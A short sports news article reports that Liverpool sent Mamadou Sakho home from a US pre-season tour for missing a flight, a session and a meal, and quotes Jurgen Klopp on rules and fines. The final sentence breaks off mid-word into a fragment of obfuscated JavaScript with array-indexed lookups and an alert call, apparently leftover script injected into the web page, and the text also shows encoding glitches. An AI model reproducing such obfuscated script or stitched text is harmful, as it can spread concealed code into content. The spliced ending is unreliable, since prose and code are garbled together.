Mamadou Sakho, the defender from Liverpool, is headed home from Liverpool’s pre-season tour of the United States. This comes after the defenders poor timekeeping during the tour. But the defender’s actions were not serious enough to warrant more punishment according to the manager Jurgen Klopp.
Sakho, 26, left the squad and travelled back to Merseyside on Tuesday. The French international, who was recently cleared of allegations of a failed drugs test by UEFA, is currently harboring an Achilles injury, and is expected to miss the start of the Premier League season which begins on Aug 13.
Klopp said Sakho broke rules during the tour. “[Sakho] missed the departure of the plane, he missed a session and then was late for a meal,” stated Klopp.
“I have to build a group here, I have to start anew, so I thought it maybe made sense that he flew home to Liverpool and after eight days, when we come back, we can talk about it.
a?But it’s not that serious. It is how I said, we have some rules and we have to respect them. If somebody doesn’t respect it, or somebody gives me the feeling he is not respecting it, then I have to react, that’s all.”
Klopp put rumors to rest of him having a fall out with Sakho, and it is unlikely the club will fine the defender for his actions.
“We had no argument. I spoke. You cannot argue when only one person is speaking, that’s all,” the former Borussia Dortmund manager said.
“Always it is the same with every group. I don’t like fining. Sometimes it’s funny, when the fine is bullshit. Come on, pay for it, that’s nice. But mistakes, fining never helps.”
After finishing eighth last season, Liverpool will start their campaign this seaon with a trip to Arsenal on Aug. 13. dow[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}
